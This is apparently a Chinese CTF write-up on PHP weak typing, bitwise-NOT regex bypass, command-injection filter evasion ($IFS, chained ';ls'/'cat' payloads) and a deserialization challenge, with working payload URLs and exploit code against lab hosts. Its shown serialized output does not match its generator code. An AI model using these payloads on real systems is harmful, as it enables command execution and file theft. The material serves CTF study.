PHP弱类型&异或取反&序列化&RCE

c94a77ec69b4c46d8930ebac7d264608

PHP-相关总结知识点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1 ctf变量
2 php的弱类型比较问题
3 php断言(assert)
4 php读取目录下文件的方法
5 preg_match绕过
6 PHP中sha1()函数和md5()

1 异或注入
2 updatexml()函数报错注入
3 源文件泄露利用
4 extract变量覆盖
5 strcmp()漏洞
6 md5()漏洞
7 ereg()截断漏洞
8 弱类型整数大小比较绕过

1 命令执行
2 md5()漏洞
3 escapeshellarg()与escapeshellcmd()
4 sql注入绕过关键字
5 preg_replace/e的命令执行漏洞
6 MYSQL特殊模式
7 PHP字符串解析特性

PHP-弱类型对比绕过测试

https://www.cnblogs.com/Mrsm1th/p/6745532.html

===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较

==在进行比较的时候,会先将字符串类型转化成相同,再比较

漏洞地址:https://ctf.bugku.com/challenges/detail/id/72.html

Snipaste_2023-09-07_21-14-56

PHP-正则preg_match绕过

ctf中preg_match绕过技术

  1. 异或
  2. 取反
  3. 数组
  4. PCRE
  5. 换行符

Snipaste_2023-09-08_05-03-56

Snipaste_2023-09-08_05-04-06

第一个正则表达式过滤了很多字符且不区分大小写。第二个正则表达式过滤了PHP的内置函数,因此即使找到了某个函数恰好可以绕过第一个,也过不去第二个过滤。这样的题目,一般的思路就是利用异或或者取反来绕过。这里用取反来绕过

  • 首先打印当前目录下的文件:print_r(scandir('.'))
1
2
3
4
5
6
7
<?php
echo urlencode(~'print_r'); //urlencode url编码 ~ 取反
echo "\n";
echo urlencode(~'scandir');
echo "\n";
echo urlencode(~'.');
?><br><br>//生成payload:/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)))

Snipaste_2023-09-08_05-06-59

  • 然后显示flag内容:highlight_file('flag.php')
1
2
3
4
5
6
7
<?php
echo urlencode(~'highlight_file');
echo "\n";
echo urlencode(~'flag.php');
?>

//生成payload:/?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F))

PHP-命令执行RCE变异绕过

场景打开如下,猜测有命令执行漏洞

Snipaste_2023-09-08_05-12-10

Snipaste_2023-09-08_05-13-39

看到这里一个:/?ip=,就猜到是命令执行

1
http://aaf469ed-b393-40dd-8c4e-1f4887bbd1ce.node4.buuoj.cn:81/?ip=127.0.0.1

Snipaste_2023-09-08_05-14-27

那么按照平时的思路就是:

1
http://aaf469ed-b393-40dd-8c4e-1f4887bbd1ce.node4.buuoj.cn:81/?ip=127.0.0.1|ls

Snipaste_2023-09-08_05-15-08

可以看到当前目录下有两个文件,那么接下来应该就是cat查看文件

Snipaste_2023-09-08_05-15-49

提示不能有空格,那么直接catflag.php

Snipaste_2023-09-08_05-16-50

这里又给出了一个提示,不能有关键字flag

空格绕过:$IFS,空格的地方用$IFS代替

1
http://aaf469ed-b393-40dd-8c4e-1f4887bbd1ce.node4.buuoj.cn:81/?ip=127.0.0.1|cat$IFSflag.php

flag.php过滤绕过:

1
http://aaf469ed-b393-40dd-8c4e-1f4887bbd1ce.node4.buuoj.cn:81/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php

Snipaste_2023-09-08_05-18-45

Snipaste_2023-09-08_05-18-53

得到flag

1
2
3
4
5
---网上查找了下:cat$IFS$a1.txt没有传入任何参数所以这些变量echo出来就是什么都没有,也就是空字符串。

---到这里其实就非常清楚了 $IFS$1 中的$1只是为了不让后面的文件名被shell识别成变量名例如前面的$a1

---参考:https://blog.csdn.net/qq_40710190/article/details/118720243

—这里也可以利用异或取反绕过

PHP-反序列化考题分析构造复现-常考点

—真题:网鼎杯2020-青龙组-web-AreUserialz

—靶场地址:https://www.ctfhub.com/#/challenge

目的是使用自己构建的序列化字符串创造对象,获得flag

Snipaste_2023-09-08_05-26-27

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

上半部分为类,下半部分为运行部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// 根据后面的源码如果要正确获得flag,这里必须在运行process方法前,使op属性为2,这样process方法才会执行读文件操作,由于使用的是===进行比较所以这里可以用整型的数字2来进行绕过,也可以利用空格拼接数字2进行绕过
// $op = 2;
// $op = ' 2';
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

// 由于析构方法中op属性被指定为2,所以会执行read方法,之后执行putput方法输出文件内容
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

// 已经根据顶部的include引入,知道了flag.php的位置,确保filename属性为flag.php
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
// 输出读取到文件的结果
private function output($s) {
echo "[Result]: <br>";
echo $s;
}

整理参数,运行一下代码,获得序列化字符串,然后成功获得flag

1
2
3
4
5
6
7
8
9
10
11
<?php
class FileHandler{
public $op=2;//源码告诉我们 op 为 1 时候是执行写入为 2 时执行读
public $filename="flag.php";//文件开头调用的是 flag.php
public $content="enderman";
}
$obj = new FileHandler();
$flag = serialize($obj);
echo $flag;
// O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:7:"yatming";}
// http://challenge-9984a5d8aef75c23.sandbox.ctfhub.com:10800/?str=O:11:%22FileHandler%22:3:%7Bs:2:%22op%22;i:2;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:7:%22yatming%22;%7D

Snipaste_2023-09-08_05-29-57

Snipaste_2023-09-08_05-30-00